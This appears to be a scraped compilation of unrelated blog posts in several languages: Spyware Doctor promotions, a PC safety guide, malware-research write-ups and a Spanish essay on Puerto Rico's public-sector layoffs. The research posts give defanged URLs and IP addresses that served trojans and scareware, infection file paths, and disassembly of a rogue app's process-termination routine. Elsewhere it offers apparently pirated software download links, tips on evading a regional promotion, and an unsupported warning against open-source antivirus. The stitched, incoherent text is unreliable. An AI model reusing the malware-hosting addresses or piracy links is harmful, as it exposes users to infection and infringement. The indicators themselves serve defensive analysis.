PC Tools’ award winning Spyware Doctor with AntiVirus 2010 has done it again, earning a rating of 4.5 out of 5 stars as reviewed by How-to Geek.

Spyware Doctor with Antivirus is a top-rated malware, spyware & virus removal utility that detects, removes and protects your PC from thousands of potential spyware, adware, trojans, viruses, keyloggers, spybots and tracking threats. Spyware Doctor’s advanced Intelliguard technology only alerts users on a true spyware and virus detection. Spyware Doctor with Antivirus has the most advanced update feature that continually improves its spyware and virus fighting capabilities on a daily basis. As spyware gets more complex in order to avoid detection, Spyware Doctor responds with new technology to stay one step ahead.

More details here.

MaCatte Antivirus is a rogue av that attempts to impersonate McAfee scanners in order to scam users, which PC Tools Spyware Doctor with Antivirus aptly detects as RogueAntiSpyware.MaCatte

This scareware has been seen to be using a bogus My Computer online scan similar to ones we’ve seen here, here and here.

The online scan can be seen on this url:

hxxp://proscan5.info/25/26-088wLzQzL1EzL==

The downloader being served from this url is time-sensitive and will not work after a period of time. A session ID of some sort is embedded on the binary executable itself. After such time has elapsed, the downloader tells the user to contact MaCatte Antivirus support people. This prevents reverse-engineers from replicating the infection and gathering samples for analysis.

Presence of these files / folders would signal infection from this scareware:
C:\Documents and Settings\All Users\Application Data\msca
C:\Documents and Settings\All Users\Application Data\msca\MaCatte.ico
C:\Documents and Settings\All Users\Application Data\msca\mcull.exe
C:\Documents and Settings\All Users\Application Data\msca\msc.exe
C:\Documents and Settings\All Users\Application Data\msca\Viruses.dat
C:\Documents and Settings\All Users\Application Data\Microsoft\Media\WPtect.dll
C:\Documents and Settings\All Users\Desktop\MaCatte.lnk
C:\Documents and Settings\All Users\Start Menu\Programs\MaCatte
C:\Documents and Settings\All Users\Start Menu\Programs\MaCatte\MaCatte.lnk

Unsuspecting users are set back from their hard-earned money by a hefty $99.

Stay away from these rogue apps.

I am going to do a multi part series on Online Safety, and keeping your computer clean.  I will keep it simple but I know some great software out there to help in this battle.  Ready, well then let’s go. 

First before you do anything else, always make sure your operating system is updated.  In Windows I would suggest going to  http://www.update.microsoft.com/microsoftupdate/ and make sure Microsoft Update is installed.  This adds a nice function to the Windows Update feature allowing the updating of other Microsoft software like Office, Windows Live, and so on.  Once it is installed run it!  Those security updates are a first line of defense.  To run it afterward in Windows Vista and 7 just start the Windows Update program in the Start Menu.  In Windows XP click on the Safety menu in Internet Explorer 8 (Which if you don’t have installed, please do so by downloading it from here http://www.microsoft.com/windows/Internet-explorer/default.aspx) and click on Windows Update.  In Windows 2000 you click on the Tools menu in Internet Explorer 6 SP1.

Now once Updates have been installed, I want to talk to you.  Even if you don’t use Internet Explorer, always make sure it is updated.  There are other components of the Windows operating system that use components of IE.  This will help keep you safe to have it updated.  Also Windows 2000 users I do not suggest using Internet Explorer 6 SP1 for your daily browsing however keep it updated,  click here to read about other safer alternatives. 

Updates are your first line of defense but your second line is some form of software that will actively protect you from Viruses and Spyware.   Also make sure every once in a while you run a full system scan to clean up your computer. 

1. Windows Defender comes with Windows Vista and 7 and can be installed in XP  It is small and light weight and also does not bog the system down.  Leaving it on and updated is a great tool, but it is mostly for Spyware and Adware.  It updates through Windows update so if your system updates automatically then your set.  You can run it manually though and do a full scan to clean up your system too.  In Windows 7 Windows Defender is in the Control panel, in Windows Vista and if installed in XP it is in the Start Menu.  You can download it for Windows XP from here http://www.microsoft.com/downloads/en/resultsForProduct.aspx?displaylang=en&productID=f8f1c499-e587-48a5-ac81-164e850dca48&nr=20&sortCriteria=Popularity&sortOrder=Ascending&stype=ss_sd For Windows 2000 users click here to find out how you can get Windows Defender. 

Windows Defender

2. Microsoft Security Essentials, You should have some form of Virus protection on your computer, you really should, but if you don’t and can’t afford it, Microsoft did something really cool recently.  They released Security Essentials.  It is built off of the Windows Live One Care and their corporate version Forefront.  Security Essentials has been rated well so far and I suggest it over AVG however AVG is another great Free alternative.  It will replace Windows Defender as it does both Virus and Spyware.  It is like Defender in that it will not bog a system down at all.  It also updates through Windows Update.  I suggest it.  You can get it for Windows XP, Vista, and 7 here http://www.microsoft.com/security_essentials/?info=EXLINK

Microsoft Security Essentials

3.  If you have the money to pay for good protection I suggest Norton Antivirus.(Norton Internet Security is alright too but I just prefer Norton Antivirus, just less software)  It also does both Virus and Spyware protection.  It has its own method for updates and does not bog a system down at all, not in the newer versions,  the software is greatly improved.  You can check out at www.symantec.com or at any Staples or Best Buy. 

Norton Internet Security

Going back to the Windows Updates, part of them is a tool updated monthly to remove common viruses and spyware called the Malicious Software Removal Tool.   It is available for Windows 2000, XP, Vista, and 7 and you can run it your self by downloading it from there and choosing run instead of save.  http://www.microsoft.com/downloads/details.aspx?FamilyId=AD724AE0-E72D-4F54-9AB3-75B8EB148356&displaylang=en

Malicious Software Removal Tool

Now there are a few good tools for removing Spyware and Adware.  I suggest installing them all and running them, this helps to ensure you remove as many threats as possible.   Make sure that after you have installed them to run an update in each of the programs before you scan, this will help ensure you get everything the program can detect.  I suggest installing these tools and when your done with them uninstall them.  I prefer to not have every starting with Windows and slowing it down. However if you want something other than Windows Defender protecting your system I suggest Spybot. 

1.  Spybot – Search & Destroy, This has been one of the best tools for years.  Time and time again is gets the more popular stuff the first time.  It is small and light weight.  if you are not happy with Windows Defender then this is a great program to leave running for active protection, but make sure to turn off and disable Windows Defender.  It is available for Windows 95, 98, NT, 2000, ME, XP, Vista, and 7.  You can get it at http://www.safer-networking.org/en/download/index.html

Spybot - Search & Destroy

2.  Malwarebytes’ Anti-Malware, this is a newer program in the mix and I think it works rather well.  This is another tool I install, update, run a full scan and then uninstall it.  It works quite well to help disinfect a system.  You can get it for Windows 2000, XP, Vista, and 7 here at http://download.cnet.com/Malwarebytes-Anti-Malware/3000-8022_4-10804572.html?part=dl-10804572&subj=dl&tag=button

Malwarebytes' Anti-Malware

3. Ad-Aware, this program has been around a long time.  I still use it to scan and remove.  It has been long time tool for me.  You can get it for Windows 2000, XP, Vista, and 7 from
http://download.cnet.com/Ad-Aware-Free/3000-8022_4-10045910.html?part=dl-ad-aware&subj=dl&tag=top5

Ad-Aware

4. CounterSpy Antispyware, This program is somewhat based off of the old Giant Antispyware which later became Windows Defender.  CounterSpy is still around and it has a 15 day trial to try it out making it a great tool for removing spyware.  It is avaliable for Windows 2000, XP, Vista, and 7 from http://www.sunbeltsoftware.com/Home-Home-Office/Anti-Spyware/

CounterSpy Antispyware

5. Spyware Doctor, now the only version that is free and will remove detected threats is part of the Google Pack. Make sure you only select the programs you want to install from the Google Pack, they try to install a lot of junk by default.   The program scans rather quickly and I like to run it just in case the other programs did not pick up something.  You can get it for Windows XP, Vista, and 7 from http://pack.google.com/

Spyware Doctor

This will all help to protect you online and keep your computer clean, but this is not all you can do or run on your computer.  I will talk about what else you can do in part 2.  For now I hope this helps keep you safer.

Tôi cũng không nhớ là mình đã giới thiệu về PC Tools Internet Security rồi hay chưa nữa. Các phần mềm được định danh có cụm từ “Internet Security” thường là phần mềm trọn gói, nó bao gồm phần mềm diệt virus, tường lửa, chống spam và spyware. Riêng với PC Tools Internet Security thì được tích hợp luôn công cụ Spyware Doctor, một “kẻ hủy diệt” spyware nổi tiếng, góp phần làm nên tên tuổi của PCTools.

Chương trình tặng key PC Tools Internet Security 2010 chỉ áp dụng trong phạm vi nước Úc mà thôi nhưng chúng ta đều biết cách “lách luật” mà, đúng không ?
Cách đăng ký như sau :
Đọc tiếp… »

This just in: on 15th October 2009, Spyware Doctor with AntiVirus 2010 wins PC Mag Editor’s Choice award!

The latest Spyware Doctor proved effective in every area of malware removal and blocking. It’s a great product.

The award-winning Spyware Doctor with AntiVirus 2010 can be downloaded here.

Dünyaca ünlü bir web sitesinin yaptığı araştırmaya göre en iyi virüs tarayıcıların listesi:

1.Norton Antivirüs 2009

2.Trend Micro İnternet Security 2009

3.Bit Defender İnternet Security

4.BullGuard İnternet Security

5.Nod32 Antivirüs 4

6.F-Secure İnternet Security 2010

7.eScan Anti-Virüs Edition

8.Kaspersky Anti-Virüs 2009

9.G Data Anti -Virüs 2010

10.Virüs Scan Plus 2009

11.Panda Anti-virüs 2009

12.Avira AntiVir Personal

13.avast! 4.8 home edition

14.AVG Anti-Virüs Free

15.Spyware Doctor

Önemli Uyarı: Listeye ClamWin adlı antivirüs programı eklenmemiştir. Bu program açık kaynak kodlu olduğunda kullanmanızı asla(Hangi kaynaktan yüklerseniz yükleyin) önermiyoruz.

¡Hola, mi gente!  Aquí estoy de regreso, semana y pico después de batallar con una infección que me tenía loco… ¡pero no es lo que ustedes se imaginan!  Resulta que de manera extraña, algún tipo de malware que no voy a mencionar (o si quieren, piensen en un caballo más famoso que Camarero, Secretariat, el caballo blanco de Napoleón o hasta el emblemático caballo de ajedrez de Paladin—aunque igual de impredecible que este último) se coló en el disco duro de mi computadora, especialmente en el directorio donde reside el sistema operativo Windows Vista, y me dejó un saldo de 48456 archivos infectados.  Ello me ocasionó pasar varios días rompiéndome la cabeza (¡no se preocupen, no es para tanto!), tratando de encontrar la manera de atajar todas esas infecciones y eliminar de mi sistema al malware responsable de las mismas.  Y me alegra decirles que apenas lo pude lograr la madrugada del domingo 27… ¡a las 05:36 UTC-04:00, después de 17 horas y media de correrle un programa altamente recomendado para manejar el spyware y otras amenazas!  (Yo no quiero ver cuando llegue la cuenta de electricidad de mi casa… ¡pero no había otra manera!  Ya resolveré de alguna manera…)

Así que habiendo sacado del medio ese “problemita”, pasemos a lo que nos trae hasta aquí, shall we?  (Y si alguien quiere saber los detalles de lo que me pasó, para que no le pase lo mismo, por favor me escribe a mi dirección electrónica… o fíjese en las etiquetas de esta entrada.)

Enigüei, el 25 de septiembre de 2009—justo a la puerta de un fin de semana normal y caluroso (¡!)—se produjo el anuncio más esperado, pero no necesariamente por las razones correctas o deseadas: Apenas un minuto antes de las 14:00 UTC –04:00 de ese día, el gobierno de Puerto Rico anunció la emisión de 16970 cartas de despido de servidores públicos, como parte de la “estrategia” del gobierno de Puerto Rico para atajar su crisis fiscal.  Por si a alguien se le ha olvidado de qué se trata, le recuerdo seguidamente que hace algún tiempo en este blog me refería a…

Una "tormenta perfecta" en la que se juntaron el hambre y las ganas de comer… o más bien, en la que se juntaron la lamentable situación económica de la gente común y corriente—gente como usted y como yo, que vive y padece de día en día el encarecimiento en el costo de la vida—y la no menos lamentable situación fiscal del gobierno del Estado Libre Asociado de Puerto Rico…  [...]  Y lo que (el gobernador Luis G. Fortuño Bruset) describe aquí es el resultado de una tendencia de los distintos gobiernos (sean del PNP o el PPD—y como ya hemos visto, ninguno de los dos partidos está limpio de polvo y paja) a gastar más allá de lo que sus posibilidades les permitían, aun en los tiempos en los que la austeridad se predicaba como si fuera el evangelio (o como decía un comediante hace muchos años, "¡hay que economizar… cueste lo que cueste!"). Y si se añade a esa tendencia la mala costumbre de tratar de "cuadrar" los presupuestos de gastos públicos mediante la toma de préstamos a los bancos centrales… ¡tremendo lío en el que estamos metidos!
La hora del sacrificio (8 de marzo de 2009) (énfasis añadido intencionalmente)

¿O qué tal esto?

Se trata de una serie de medidas en las que el nuevo gobierno de Puerto Rico pretende atajar en poco tiempo (a lo sumo, tres de los cuatro años del presente ejercicio de gobierno) una crisis que se estuvo desarrollando durante muchos años, sin que ninguno de los dos partidos políticos que comparten el poder (PPD y PNP) hubiesen dado pasos afirmativos para evitar que llegáramos al punto en el que nos encontramos hoy en día.
Mar en calma y (no tan próspero) viaje (23 de marzo de 2009 ) (énfasis añadido también con toda la intención)

Sin embargo, dice el gobierno que del total de esas cesantías, se proyecta reclutar nuevamente a unos 1000 empleados para ejercer funciones de cobradores de impuestos (Good luck on that!) o para hacer limpieza en las escuelas públicas.  Así que comoquiera 15970 servidores públicos puertorriqueños—principalmente padres y madres de familia que se tragaron el cuento de la “seguridad de empleo en el gobierno”—se tendrán que ir a la calle para el 6 de noviembre de este año.

Súmelos a los 10401 que se fueron (¿los ‘fueron’?) en la ronda de despidos y renuncias ‘voluntarias’ de junio pasado, y tendrá 26371 víctimas de una situación que nunca debió ocurrir.

Son 26371 seres humanos que tendrán que ver cómo se las arreglan para cumplir con sus responsabilidades económicas—la hipoteca de la casa, el préstamo del carro, y si sigo no acabo—a la vez que le llevan el sustento a sus familias.  Son 26371 potenciales candidatos a empleo que tendrán que andar para aquí y para allá cargando con un resumé y una carta de presentación, tocando a cuanta puerta puedan tocar, aunque sea para pedir empleo barriendo pisos por menos del nuevo salario mínimo federal, o vendiendo mercancía barata en alguna tienda de pueblo pequeño, u ofreciendo “papitas, onion rings o apple pie” en algún restaurante de comida ligera.  Después de todo, se supone que ahora—según el gobierno—la empresa privada es “la cura” de todos los males de la economía puertorriqueña, ¿no?  Sabe Dios cuántos de estos 26371 tendrán la iniciativa y el interés de organizar su propia empresa, de ofrecer algún servicio diferente e innovador, algo que nadie más puede ofrecer en Puerto Rico en estos momentos.  Tal vez muchos de ellos quieran regresar a la universidad a hacerse de otra carrera, aunque sea distinta a aquella para la cuya preparación pasaron tanto trabajo.

¿Cuántos de estos 26371 se cansarán de darse golpes contra la muralla que tienen ante sí y emigrarán?  ¿Volveremos a ver un éxodo como el de los tiempos de dos de mis tías (los 1950s), que emigraron con sus esposos a la Nueva Inglaterra, en busca de un futuro mejor para sus hijos?  (Aunque les aclaro que esta estrategia funcionó bien en el caso de mis tías, ya que ambas trabajaron duro y supieron criar bien a sus hijos, y éstos han levantado sus propias familias, con dignidad y respeto.  Y yo me siento orgulloso de que todos ellos sean parte de mis lazos familiares.)  ¿Y qué encontrarán los que lleguen hasta allí?  Si creen que la suerte les va a caer del cielo… quiera Dios que la decepción no sea tan fuerte.

¿Y qué ocurrirá con aquell@s que sin entrar por la puerta del infierno han aceptado fatalistamente aquella admonición de “abandonad toda esperanza”?  ¿Cuántos se sumirán en la desesperación, o recurrirán al vicio—llámese del alcohol, llámese de las drogas, llámese como se quiera llamar—para poder aliviar su dolor, para escapar de una realidad agobiante?  ¿Cuántas de estas 26371 personas recurrirán al delito para poder conseguir el dinero que les ayude a satisfacer sus necesidades?  Y más importante aún, ¿cómo se afectará el resto de la sociedad puertorriqueña por una acción de la trascendencia de esta que se acaba de tomar?

Lamento mucho decir esto, pero me sospecho que a los responsables de tomar las decisiones que nos han traído hasta aquí, no les importa su responsabilidad, consigo mismos como individuos y con la sociedad a la que dicen que quieren rescatar de la negligencia económica del pasado.  Y en cuanto a las consecuencias de sus acciones… ¡que el de atrás sea el que lo arregle, que para eso no es de los “agraciados”!

Si se preguntan, en mi lugar de trabajo, el Departamento de Recursos Naturales y Ambientales de Puerto Rico (DRNA), las fatídicas cartas de despido no vinieron a entregarse sino hasta el lunes 28.  Día en el que vi algo más o menos parecido a lo que vi y sentí unos meses atrás, cuando…

Después de las renuncias “involuntariamente voluntarias” de empleados públicos en Puerto Rico, ha llegado el momento para los despidos “voluntariamente involuntarios”….  (Y)a se ha iniciado el despido de varios de los empleados irregulares, transitorios y por contrato que fueron reclutados en años recientes.  (Y aun si alguno de ellos fue reclutado en violación a la ley que prohíbe reclutar personal en el gobierno pocos meses antes de las elecciones, debe quedar claro que no es su culpa.)  Y eso es algo que me tiene un tanto apenado, porque muchos de los que se nos van de esta manera son jóvenes de cuyo talento y dedicación he sido testigo…
Episodio 301: De permisos, despidos y el surgimiento de una estrella (31 de mayo de 2009)

Sin embargo, en esta ocasión no fueron únicamente los jóvenes que apenas estaban empezando a despuntar en su desempeño profesional.  Hoy vi llorar a personas a quienes he conocido de mucho tiempo en el DRNA, personas que siempre han mostrado dedicación a su trabajo, personas cuyo profesionalismo es y será siempre incuestionable… y que han sucumbido a la incapacidad de un sistema político que no tiene las salvaguardas adecuadas para evitar estas situaciones, y a la incompetencia de quienes tienen en sus manos evitar que dichas situaciones ocurran.  Hoy vuelvo a temer por lo que suceda con est@s compañer@s de trabajo, como cuando tuvimos que sufrir juntos el cierre gubernamental de mayo de 2006, un trago amargo cuyas lecciones parece que quienes debían aprenderlas no las han querido aprender (o no les conviene aprenderlas).  Y vuelvo a sentirme como que nada que yo pueda decir o hacer ayudará a aliviar esta crisis.

Debe ser que en este momento siento lo que los especialistas estadounidenses en conducta humana denominan como “la culpa del sobreviviente”, como si me pareciera injusto que gente prometedora como ésta tenga que sucumbir ante una crisis de la que no tienen culpa, y dejarnos en el camino a nosotros, los “veteranos” en estas lides, en momentos en los que más los necesitamos.  Pero bueno, así es la vida, y lo mejor que puedo hacer desde aquí es darles las gracias por el tiempo que estuvieron con nosotros, desearles a tod@s ell@s la mejor de las suertes, y recordarles que cuando nos necesiten… ¡pa’ eso estamos!
También de "Episodio 301: De permisos, despidos y el surgimiento de una estrella" (y nuevamente, el énfasis está puesto ahí con toda la intención, ¿OK?)

Y como a mi juicio, la historia tiene el mal hábito de repetirse, ésta no va a ser la excepción.

¡Y vamos a dejarlo ahí!  Cuídense mucho y pórtense bien, pero sobre todo, no pierdan la esperanza, que es lo último que debe perderse, ¿OK?

ACTUALIZACIÓN (30 DE SEPTIEMBRE DE 2009, 05:23 UTC -04:00): Añado un par de cosas:

1. Las cartas de despido en el DRNA no se repartieron el mismo viernes como se esperaba, sino que fue el lunes siguiente.  Los despidos en todo el DRNA ascendieron a 280.
2. Y en la mañana de ayer (29 de septiembre) tuvimos en el DRNA un anticipo de lo que está por venir—y no precisamente lo mejor—cuando se recibió una llamada telefónica que anunciaba la supuesta colocación de un artefacto explosivo.  Afortunadamente, la búsqueda policial no encontró ninguno, pero de más está decir la molestia que eso nos ha ocasionado, sumado al desasosiego que ya impera en la agencia con los 280 despidos.  Y yo me pregunto: ¿ES ESTO REALMENTE NECESARIO?  ¿Será ésta la constante durante los próximos días… o meses… o durante los años que (se supone) esté en vigencia la ley que nos trajo a esta situación?

Como decían antes en los noticiarios de radio (o “los informativos”, como últimamente alguna gente insiste en llamarlos)… "Seguiremos informando."

• Disyorkan Oleh Para Pakar Dan Editor Di Seluruh Dunia Sebagai Yang Terbaik Anti-Spyware

• Percuma Sokongan Pelanggan Untuk Semua Pengguna                                                            

• Sering Diupdate Memastikan Bahawa Anda Sentiasa Terpelihara                                             

• Mengesan, Membuang Dan Menblok Semua Jenis Spyware Dan Adware Ancaman                

• Paling Mudah Untuk Digunakan Dengan Perlindungan Automatik Cerdas                                

• 100% Pulangan Duit Kembali                                                                                                

The analysts at the PC Tools Malware Research Centre have been receiving bogus emails claiming to be coming from Microsoft:

…public distribution of this Update through the official website »www.microsoft.com would have result in efficient creation of a malicious software, we made a decision to issue an experimental private version of an update for all users Microsoft Windows OS.
as the computer set to receive notifications when new updates are available, which you have received this notice.

We have seen emails containing one of the following links:
hxxp://www2.sinel.com/microsoftupdate.html
hxxp://mail1.e-corecorporation.com/default.htm

They seem to be compromized websites being used by the bad guys in order to facilitate this attack.

The page default.html from hxxp://mail1.e-corecorporation.com/default.htm uses a refresh-type redirect to this url:
hxxp://0xc0.0xdc.0x6e.0xe4/microsoftupdate.html

The page microsoftupdate.html from sinel.com and 0xc0.0xdc.0x6e.0xe4 both execute another refresh-type redirect in order to download a file named update09.exe, which PC Tools Spyware Doctor with Antivirus detects as Trojan-Spy.Zbot.YETH.

Interestingly enough, this attack uses 0xc0.0xdc.0×6e.0xe4 to serve the malware. This IP-address translates to 192.220.110.228, which in turn resolves to summit102.summitdesign.net, another possibly compromised website used in this attack.

The presence of the following files/folders may indicate signs of infection:
%System%\sdra64.exe
%Temp%\tmp.exe
%System%\lowsec\

More here.

Users Googling “Atlanta flood pictures” receive a yet another SEO attack, using a possibly compromised legitimate Australian website hosting restaurants in the famous Bondi area.

Here’s a screenshot of a google search result:

A Fiddler capture shows us the redirections:

So we go from
hxxp://idrb.com/pdf_files/atlanta-flood-pictures.html
>hxxp://06d.ru/t.php
>>hxxp://read-cnn2.com/?pid=207&sid=de9f8f
>>>hxxp://winfixscanner7.com/scan1/?pid=207&engine=pHTyzjTyMzEyOS44Mi4xOTAmdGltZT0xMjUuNgAMPAVN

An installer named Soft_207.exe will be presented for download, which PC Tools Spyware Doctor with Antivirus aptly detects as RogueAntiSpyware.TotalSecurity.

At the moment, the PC Tools Malware Research Centre has observed the following domains being used for the distribution:
winfixscanner7(dot)com
15scanner(dot)com

These domains resolve to the following IP addresses:
89.47.237.55
89.248.174.61
213.163.89.60

But knowing the trend in scareware, there could be heaps more domains being created as we speak.

PC Tools Spyware Doctor with Antivirus protects its users from RogueAntiSpyware.TotalSecurity.

Early morning…
I press the power button, sit back and wait…
First odd thing that i notice is different desktop saying “system infected”!? Right after, some intruder called Windows Police Pro starts to scan my hard drives. In case i do something inappropriate, i do nothing. I just sit and try to figure out what would be the best for now… While i was scratching my head, Windows Police Pro did its job. Wait a minute, how on earth i could be infected with nearly 10 parasites? I try to close this program, but no luck. Then i decide to run Kaspersky antivirus, which icon is not found in the taskbar as usual. Ok, i go Start, Programs, Kaspersky trying to start the program but what i get is a dialogue box with “debugger detected 97″ in it. So basically my PC is frozen and it won’t let me run any program except Windows Police Pro. Whenever I try to run a program, a command prompt window pops up for 1 second with the heading “C:\Windows\System32\desote.exe”.

I have an idea! But unfortunately, my idea was blown off because the virus won’t let me go to “Add/Remove Programs” to remove the intruder. When I try to do that, a message comes up on the screen and won’t go away.

Later i figure out that my internet connection was dead, so i had to use my friends PC. After searching the internet for proper solution, i was suggested:
Remove Windows Police Pro with Spyware Doctor;
Download MalwareBytes antispyware program. As some guides state – it is able to solve my problem;
Scan PC with Hijackthis and post the log in any computer help forum.

The reason why i chose MalwareBytes is that it is free program. But before i was able to launch setup file, i had to go to Task Manager and end these processes:
svchasts.exe;
Windows Police Pro.exe.

After installation, i ran a scan, and yes – it found what it had to find. Believe it or not, MalwareBytes fixed the problem

Similar threats: Windows Protection Suite | Antivirus Pro 2010 | PC Antispyware 2010 | Total Security

mdiwyjeagf

http://www.blogcatalog.com/directory/technology/computers/computersecurity

Spyware Doctor provides three-way spyware protection for your PC through real-time threat blocking, advanced system scanning and immunization against known browser infections. Spyware Doctor is a multi-award winning spyware removal utility that detects, removes and protects your PC from thousands of potential spyware, adware, Trojans, keyloggers, spybots and tracking threats. Protect your privacy and computing habits from prying eyes and virtual trespassers with the help of Spyware Doctor.

Note: This application is for non-commercial purpose only. If you like the product, please purchase it.

http://www.megaupload.com/?d=UXGBRXUS
http://www.mediafire.com/?zkmmxmjwzwn
http://www.easy-share.com/1907457147/Spyware.Doctor.with.Antivirus.6.1-Havesoftwares-Most.Wanted’s.Blog.zip
http://rapidshare.com/files/270534384/Spyware.Doctor.with.Antivirus.6.1-Havesoftwares-Most.Wanted_s.Blog.zip.html

Request: Benefited Users can pray for, well-being of my friend Hemamani Deepa.

Scareware is BIG business. They use heaps of scare tactics in order to convince unsuspecting users into buying rogue applications. But here’s one that does a bit more than just scaring.

RogueAntiSpyware.System Security terminates almost all running processes. This basically prevents us from using our computers. More importantly, this hinders execution of tools necessary to investigate the infection and aid in removal of this rogue app.

Back in the day, in order to evade detection and removal, malware writers have targeted security-related applications. They have a black list of applications including (but not limited to) the following:

avast.exe
avp.exe
cmd.exe
icesword.exe
kav.exe
regedit.exe
taskmgr.exe

But now they block even the most harmless Windows applications such as calc.exe and notepad.exe. But not all applications should be terminated, because that basically means no Windows. No Windows means no profit so the bad guys need basic Windows functionality. Which tells us that they have probably stopped using blacklisting and shifted to whitelisting instead. They now have a list of applications that they would allow to be executed in the system.

Here’s part of some disassembly taken from a sample of RogueAntiSpyware.System Security, showing us evidence of whitelisting:

Rogue app takes a snapshot of all the processes in the system:

.rsrc:140B4B4F push edi
.rsrc:140B4B50 push 2
.rsrc:140B4B52 call CreateToolhelp32Snapshot
.rsrc:140B4B57 mov [ebp+hObject], eax
...
.rsrc:140B4B79 push ecx
.rsrc:140B4B7A push eax
.rsrc:140B4B7B mov [ebp+var_64C], 22Ch
.rsrc:140B4B85 call Process32FirstW
...
.rsrc:140B4BAB push [ebp+dwProcessId] ; dwProcessId
.rsrc:140B4BB1 push 0 ; bInheritHandle
.rsrc:140B4BB3 push 1FFFFFh ; dwDesiredAccess
.rsrc:140B4BB8 call ds:OpenProcess

It then terminates the processes not found in the white list:
.rsrc:140B4C00 push 0FFFFFFFFh ; uExitCode
.rsrc:140B4C02 push edi ; hProcess
.rsrc:140B4C03 call ebx ; TerminateProcess

and displays this message as a notification in the system tray:
.rsrc:14039998 aApplicationCan: ; DATA XREF: sub_140B4ADD+16A
.rsrc:14039998 unicode 0,
.rsrc:14039998 unicode 0,
.rsrc:14039998 dw 0Ah
.rsrc:14039998 unicode 0, ,0
.rsrc:14039A5E align 10h
.rsrc:14039A60 aWarning: ; DATA XREF: .rsrc:140104BF
.rsrc:14039A60 ; sub_140B4ADD+1DB ...
.rsrc:14039A60 unicode 0, ,0
.rsrc:14039A72 align 4

It then resumes processing the snapshot created earlier and the cycle continues:
.rsrc:140B4CDF lea eax, [ebp+var_64C]
.rsrc:140B4CE5 push eax
.rsrc:140B4CE6 push [ebp+hObject]
.rsrc:140B4CEC call Process32NextW

Here’s the list of applications that the scareware allows:
.rsrc:14046A48 off_14046A48 dd offset aAlg_exe ; DATA XREF: sub_140B49CF+26
.rsrc:14046A48 ; "alg.exe"
.rsrc:14046A4C dd offset aCsrss_exe ; "csrss.exe"
.rsrc:14046A50 dd offset aCtfmon_exe ; "ctfmon.exe"
.rsrc:14046A54 dd offset aExplorer_exe ; "explorer.exe"
.rsrc:14046A58 dd offset aServices_exe ; "services.exe"
.rsrc:14046A5C dd offset aSlsvc_exe ; "slsvc.exe"
.rsrc:14046A60 dd offset aSmss_exe ; "smss.exe"
.rsrc:14046A64 dd offset aSpoolsv_exe ; "spoolsv.exe"
.rsrc:14046A68 dd offset aSvchost_exe ; "svchost.exe"
.rsrc:14046A6C dd offset aSystem ; "system"
.rsrc:14046A70 dd offset aIexplore_exe ; "iexplore.exe"
.rsrc:14046A74 dd offset aLsass_exe ; "lsass.exe"
.rsrc:14046A78 dd offset aLsm_exe ; "lsm.exe"
.rsrc:14046A7C dd offset aNvsvc_exe ; "nvsvc.exe"
.rsrc:14046A80 dd offset aWininit_exe ; "wininit.exe"
.rsrc:14046A84 dd offset aWinlogon_exe ; "winlogon.exe"
.rsrc:14046A88 dd offset aWscntfy_exe ; "wscntfy.exe"
.rsrc:14046A8C dd offset aWuauclt_exe ; "wuauclt.exe"

As we can see, RogueAntiSpyware.System Security is more than just scareware. You won’t be able to properly use your computer unless you buy the rogue app. Sounds more like ransomeware to me.

But, now that we know that it uses whitelisting, we can do a little work around and bypass this technique. We can rename a copy of the tools that we need to run as one of the whitelisted applications and voila! We’ve already taken one step into regaining full use of our infected computer.

We have previously discussed RogueAntiSpyware.System Security being linked to Net-Worm.Koobface and a fake Facebook website at an earlier post.

PC Tools Spyware Doctor with Antivirus detects and removes RogueAntiSpyware.System Security.

Did that headline have you feeling good? You can’t really STOP spyware for good, inevitably it will keep coming back. So you may not be able to stop spyware, but you can stop spyware coming to you.

Here are a few resources and software that may help you work around spyware.

1. Spyware Doctor – This piece of anti-spyware software is clean and easy-to-use for the less tech-savy person. The software is currently exclusive to the Windows platform is costs about $40. If you really want a quality anti-spyware the money is worth spending.

Spyware Doctor has been downloaded over 125 million times with millions more downloads every week. People worldwide use and trust Spyware Doctor to protect their PCs from spyware, adware and other online threats.

Spyware Doctor has consistently been awarded Editors’ Choice, by leading PC magazines and testing laboratories around the world, including United States, United Kingdom, Sweden, Germany and Australia. In addition, after leading the market in 2005, Spyware Doctor was awarded the prestigious Best of the Year at the end of 2005 and again in 2006.

2. SUPERAntiSpyware – This software real-time protection and advance removal and blocking; for the more technical inclined user. This product has a few different pricing specs and is currently only running for Windows.

-Detect and Remove Spyware, Adware and Remove Malware, Trojans, Dialers, Worms, KeyLoggers, HiJackers, Parasites, Rootkits, Rogue Security Products and many other types of threats.
-Light on System Resources and won’t slow down your computer like many other anti-spyware products. Won’t conflict with your existing anti-spyware or anti-virus solution!
-Repair broken Internet Connections, Desktops, Registry Editing and more with our unique Repair System!

3. MacScan – Now here are two words you haven’t heared in this post yet: “mac” and “free”. Here is a decent anti-spyware for the Mac.

With MacScan’s Blacklisted Cookie Scan you can remove blacklisted tracking cookies without losing all your saved usernames and passwords. Keep up to date with the latest Spyware definition updates! MacScan searches down these hidden menaces and locks down your computer. MacScan gives you the peace of mind and security needed to conduct your day-to-day personal business. MacScan, your own 24/7 personal security guard…in today’s open web society… can you afford to be without MacScan?

So there are some of the less “main-stream” anti-spyware software I’ve found. Feel free to comment if you know of any other pieces of anti-spyware software, either for the Mac or PC.

Spyware Doctor™ provides three-way spyware protection for your PC through real-time threat blocking, advanced system scanning and immunization against known browser infections. Spyware Doctor is a multi-award winning spyware removal utility that detects, removes and protects your PC from thousands of potential spyware, adware, Trojans, keyloggers, spybots and tracking threats. Protect your privacy and computing habits from prying eyes and virtual trespassers with the help of Spyware Doctor.
Anti-virus software and firewalls do not fully protect your system against the majority of spyware and privacy threats. Because spyware is commonly bundled with software downloads, attached to e-mails, or transmitted through networks it can appear to be legitimate software, but once installed it can be nearly impossible to detect and remove without the help of a dedicated spyware removal tool like Spyware Doctor.Spyware Doctor has consistently been awarded Editors’ Choice, by leading PC magazines and testing laboratories around the world, including United States, United Kingdom, Sweden, Germany and Australia. All current versions of Spyware Doctor have won Editors’ Choice awards from PC Magazine in United States. In addition, after leading the market in 2005, Spyware Doctor was awarded the prestigious Best of the Year at the end of 2005.

Spyware Doctor Tools:

- Spyware & Adware Scanner Keylogger
- Guard Popup
- Blocker Phishing
- Protector Real Time
- Protection Browser
- Guard Spyware Cookie
- Guard Malware
- Immunizer

What’s New in Spyware Doctor 6 :

• Latest protection from unknown threats

